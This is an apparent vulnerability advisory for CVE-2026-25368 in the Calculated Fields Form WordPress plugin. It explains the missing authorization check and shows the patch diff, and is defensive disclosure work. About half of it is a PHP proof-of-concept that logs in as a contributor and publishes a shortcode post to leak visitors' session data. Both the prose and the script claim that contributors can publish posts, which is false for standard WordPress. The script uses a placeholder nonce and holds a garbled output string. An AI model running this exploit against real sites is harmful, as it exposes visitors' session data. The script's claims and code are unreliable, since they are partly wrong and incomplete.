Atomic Edge analysis of CVE-2026-25368:
The Calculated Fields Form plugin for WordPress, versions up to and including 5.4.4.1, contains a missing authorization vulnerability. This flaw allows authenticated attackers with contributor-level permissions or higher to perform an unauthorized action, specifically to read arbitrary data from the `$_SESSION` and `$_COOKIE` superglobal arrays. The CVSS score of 4.3 reflects a medium severity issue.
The root cause is an insufficient capability check in the `cpcff_get_variable` function, which handles the `[CP_CALCULATED_FIELDS_VAR]` shortcode. The vulnerable code path is in the file `/calculated-fields-form/inc/cpcff_main.inc.php` between lines 870 and 890. The function processes the `from` attribute to determine which superglobal array to read from. The original code allowed the `from` parameter to specify `_SESSION` or `_COOKIE`, and subsequently read data from those arrays without verifying if the current user had the right to access that data.
An attacker can exploit this by crafting a post or page containing the malicious shortcode `[CP_CALCULATED_FIELDS_VAR var=”target_variable” from=”_SESSION”]`. As a contributor, the attacker can publish this post. When the post is viewed, the plugin executes the shortcode handler, reading the value of the specified variable from the visitor’s session or cookie data and outputting it as a JSON-encoded string within the page content. This results in the exposure of that data to the attacker.
The patch in version 5.4.4.2 modifies the `cpcff_get_variable` function in `/calculated-fields-form/inc/cpcff_main.inc.php`. It removes `_SESSION` and `_COOKIE` from the allowed values for the `from` attribute array on line 873. The patch also removes the corresponding fallback logic that directly accessed `$_SESSION` and `$_COOKIE` on lines 883-886. After the patch, the function can only read data from `_POST` or `_GET` superglobals, which are inherently user-supplied and transient, thereby eliminating the unauthorized data leak from server-side session stores or client cookies.
Successful exploitation leads to information disclosure. An attacker can extract sensitive data stored in a user’s PHP session, which may include authentication tokens, user identifiers, or other temporary application state. Accessing `$_COOKIE` data could expose persistent identifiers or other client-stored information. This vulnerability does not directly allow privilege escalation or remote code execution, but the leaked session data could facilitate other attacks like session hijacking.
--- a/calculated-fields-form/cp_calculatedfieldsf_free.php
+++ b/calculated-fields-form/cp_calculatedfieldsf_free.php
@@ -3,7 +3,7 @@
* Plugin Name: Calculated Fields Form
* Plugin URI: https://cff.dwbooster.com
* Description: Create forms with field values calculated based in other form field values.
- * Version: 5.4.4.1
+ * Version: 5.4.4.2
* Text Domain: calculated-fields-form
* Author: CodePeople
* Author URI: https://cff.dwbooster.com
@@ -25,7 +25,7 @@
}
// Defining main constants.
-define( 'CP_CALCULATEDFIELDSF_VERSION', '5.4.4.1' );
+define( 'CP_CALCULATEDFIELDSF_VERSION', '5.4.4.2' );
define( 'CP_CALCULATEDFIELDSF_MAIN_FILE_PATH', __FILE__ );
define( 'CP_CALCULATEDFIELDSF_BASE_PATH', dirname( CP_CALCULATEDFIELDSF_MAIN_FILE_PATH ) );
define( 'CP_CALCULATEDFIELDSF_BASE_NAME', plugin_basename( CP_CALCULATEDFIELDSF_MAIN_FILE_PATH ) );
--- a/calculated-fields-form/inc/cpcff_main.inc.php
+++ b/calculated-fields-form/inc/cpcff_main.inc.php
@@ -870,7 +870,7 @@
if ( isset( $atts['from'] ) ) {
$from .= strtoupper( trim( $atts['from'] ) );
}
- if ( in_array( $from, array( '_POST', '_GET', '_SESSION', '_COOKIE' ) ) ) {
+ if ( in_array( $from, array( '_POST', '_GET' ) ) ) {
if ( isset( $GLOBALS[ $from ][ $var ] ) ) {
$value = json_encode( $GLOBALS[ $from ][ $var ] );
} elseif ( isset( $atts['default_value'] ) ) {
@@ -880,10 +880,6 @@
$value = json_encode( CPCFF_AUXILIARY::sanitize( $_POST[ $var ] ) ); // phpcs:ignore
} elseif ( isset( $_GET[ $var ] ) ) {
$value = json_encode( CPCFF_AUXILIARY::sanitize( $_GET[ $var ] ) ); // phpcs:ignore
- } elseif ( isset( $_SESSION[ $var ] ) ) {
- $value = json_encode( CPCFF_AUXILIARY::sanitize( $_SESSION[ $var ] ) ); // phpcs:ignore
- } elseif ( isset( $_COOKIE[ $var ] ) ) {
- $value = json_encode( CPCFF_AUXILIARY::sanitize( $_COOKIE[ $var ] ) ); // phpcs:ignore
} elseif ( isset( $atts['default_value'] ) ) {
$value = json_encode( CPCFF_AUXILIARY::sanitize( $atts['default_value'] ) ); // phpcs:ignore
}
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-25368 - Calculated Fields Form <= 5.4.4.1 - Missing Authorization
<?php
$target_url = 'http://vulnerable-wordpress-site.com';
$username = 'contributor_user';
$password = 'contributor_pass';
// Initialize cURL session for WordPress login
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-login.php');
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query(array(
'log' => $username,
'pwd' => $password,
'wp-submit' => 'Log In',
'redirect_to' => $target_url . '/wp-admin/',
'testcookie' => '1'
)));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt'); // Save login cookies
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$login_response = curl_exec($ch);
// Check if login was successful by attempting to access the post creation page
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/post-new.php');
curl_setopt($ch, CURLOPT_POST, false);
$post_page = curl_exec($ch);
if (strpos($post_page, 'Welcome to the Block Editor') === false) {
die('Login failed. Check credentials.');
}
// Extract the nonce required for creating a post (simplified example; real implementation may need to parse the page for _wpnonce)
// This PoC assumes the contributor can create a post. The exploit shortcode will be inserted into the post content.
$post_content = 'Exploit shortcode to leak SESSION data: [CP_CALCULATED_FIELDS_VAR var="user_login" from="_SESSION"]';
$post_title = 'Test Post - CVE-2026-25368';
// Prepare POST data to create a new post with the malicious shortcode
$post_data = array(
'post_title' => $post_title,
'content' => $post_content,
'post_status' => 'publish', // Contributor can publish their own posts
'_wpnonce' => 'NONCE_PLACEHOLDER', // This must be extracted from the page in a real scenario
'post_type' => 'post',
'action' => 'editpost'
);
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/post.php');
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
$create_response = curl_exec($ch);
// If post creation is successful, retrieve the post URL to view it and trigger the shortcode execution.
// In a real test, you would parse the response to get the new post's permalink.
// For this PoC, we output the response which may contain the leaked data if the shortcode executed.
echo "Post creation response (check for JSON output of session data):n";
echo $create_response;
curl_close($ch);
// Note: A fully automated PoC would require parsing the admin page for a valid nonce and the resulting post ID.
// This script demonstrates the attack flow: authenticate, create a post with the malicious shortcode, and publish it.
?>